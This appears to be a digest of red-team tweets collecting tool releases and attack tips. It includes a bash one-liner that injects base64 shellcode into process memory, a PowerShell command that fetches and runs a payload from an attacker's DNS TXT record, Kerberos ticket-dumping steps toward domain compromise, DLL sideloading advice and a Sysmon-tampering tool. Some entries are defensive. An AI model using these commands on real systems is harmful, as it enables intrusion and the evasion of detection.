😈 [ decoder_it, ap ]

We (really) did it again! :-) cc: @splinter_code

🐥 [ tweet ]

😈 [ ShitSecure, S3cur3Th1sSh1t ]

Searching for DLL Sideloading binaries? A short Powershell Script in combination with Siofra will give you thousands of possible combinations.

https://t.co/0IIjpd5xN0

Either try to replace any Windows DLL Import with your payload DLL or search for Phantom DLLs.

🔗 https://github.com/Cybereason/siofra

🐥 [ tweet ]

😈 [ securityfreax, 🅰🅳🅼 ]

Run your shellcode directly from bash:

dd of=/proc/$$/mem bs=1 seek=$(($(cut -d" " -f9</proc/$$/syscall))) if=<(base64 -d<<<utz+IUO+aRkSKL+t3uH+McCwqQ8F) conv=notrunc

Credits to "unknown"

🐥 [ tweet ]

😈 [ FuzzySec, b33f ]

I'm releasing a NuGet package I wrote for @xforcered AdvSim.Cryptography. This NuGet is a simple wrapper which implements sane defaults for a number of Symmetric and Asymmetric cryptographic functions 🔫🥃
GitHub -> https://t.co/wmHKxryWqF
NuGet -> https://t.co/dECi5kB8aE

🔗 https://github.com/xforcered/AdvSim.Cryptography
🔗 https://www.nuget.org/packages/AdvSim.Cryptography/1.0.0

🐥 [ tweet ]

😈 [ mpgn_x64, mpgn ]

"All our admin are in the Protected Users group, we must be secure !"

The actual security 🔽
1⃣ Dump kerberos tickets with lsassy (thanks to @remiescourrou)
2⃣ Convert & Import 🔄
3⃣ CrackMapExec <fqdn> -u user -p '' -k
4⃣ You have 4-hour to compromise the domain 🔥😋

🪂

🐥 [ tweet ]

😈 [ Alh4zr3d, Alh4zr3d ]

Sexy tip for your red team ops: avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with your payload at one of your (unburned) domains and do this: "powershell . (nslookup -q=txt some.owned.domain.com)[-1]"

🐥 [ tweet ]

👹 [ snovvcrash, sn🥶vvcr💥sh ]

Man, that’s so 🆒

🐥 [ tweet ][ quote ]

😈 [ 0xdea, raptor ]

Simple AS/400 Hacking (via @buherator)

https://t.co/JEcySWimNJ

🔗 https://blog.silentsignal.eu/2022/09/05/simple-ibm-i-as-400-hacking/

🐥 [ tweet ]

😈 [ daem0nc0re, daem0nc0re ]

Added my CSharp PoC for transacted hollowing.
Interesting technique :)

https://t.co/5Tt4F2mf1g

🔗 https://github.com/daem0nc0re/TangledWinExec/commit/f898bf157ad993f900985d78b8d8fdc22df0163c

🐥 [ tweet ]

😈 [ hackthebox_eu, Hack The Box ]

hey, @TikTokSupport let us introduce you to pentesting real quick

🐥 [ tweet ]

хехехе

😈 [ mariuszbit, mgeeky | Mariusz Banach ]

☢️ Can confirm: Macros killed in Office 365, 2207 (Build 15427.20210)

1. if doc has MOTW, macros are disabled.
2. if doc is opened from MOTW flagged ISO/IMG, macros are disabled

ISOs are no longer effective containers for MOTW evasion.

However, bundling payloads into LNK is 🔥

🐥 [ tweet ]

😈 [ thefLinkk, thefLink ]

Today we published a new tool to tamper with Sysmon.
Uses handle elevation and a SACL bypass to remain difficult to observe using Sysmon itself or Windows Event logs.

https://t.co/OZ4tkgNOAD

🔗 https://github.com/codewhitesec/SysmonEnte

🐥 [ tweet ][ quote ]

😈 [ Six2dez1, Six2dez ]

I've packed in GitHub an @obsdmd's Vault for web pentesting assessments, it's still pretty simple but I included my Web Pentest Checklist updated, so feel free to contribute!

Here it is:
https://t.co/jx4a9UB2wT

#Pentesting #Web #Obsidian #Markdown #Hacking

🔗 https://github.com/six2dez/obsidian-pentesting-vault

🐥 [ tweet ]

😈 [ M4yFly, Mayfly ]

Let's continue to pwn GOAD for fun and no profit :)
We will have fun with ADCS this time, thanks a lot to @ly4k_ for the certify tool 🙏

https://t.co/QwIsA0ipM2

🔗 https://mayfly277.github.io/posts/GOADv2-pwning-part6/

🐥 [ tweet ]

😈 [ mpgn_x64, mpgn ]

A much needed module during internal pentest will be added to CrackMapExec tonight 🌛

Why scan a /16 when you can get all ip/dns records of the domain using get-network module ? 🔥

Thanks to @_dirkjan (this module is adidnsdump as module) and @snovvcrash for the cidr trick !

🐥 [ tweet ]

😈 [ subtee, Casey Smith ]

Quick/easy alert if someone runs..
adfind.exe
qwinsta.exe
nltest.exe
tasklist.exe
seatbelt.exe
procdump64.exe
or _other_ odd, rare commands?

Give this a try?

❤️feedback, ways to improve.
It's not perfect, we know.
Help us improve/refine it.
https://t.co/tJ3buUL49E

🔗 https://github.com/thinkst/canarytokens

🐥 [ tweet ]

😈 [ awakecoding, Marc-André Moreau ]

Get-RdpLogonEvent: extract the list of recent RDP logons from the event viewer and become a magician 🧙‍♀️ that can answer impossible questions like "is it really using Kerberos (nope), or did it downgrade to NTLM (again)"? 👇 https://t.co/1TKpLfZB5w

🔗 https://gist.github.com/awakecoding/5fda938a5fd2d29ebffb31eb023fe51c

🐥 [ tweet ]

😈 [ _rybaz, Ryan Basden 🌻 ]

Always schedule your Q4 pentest in Q2

🐥 [ tweet ]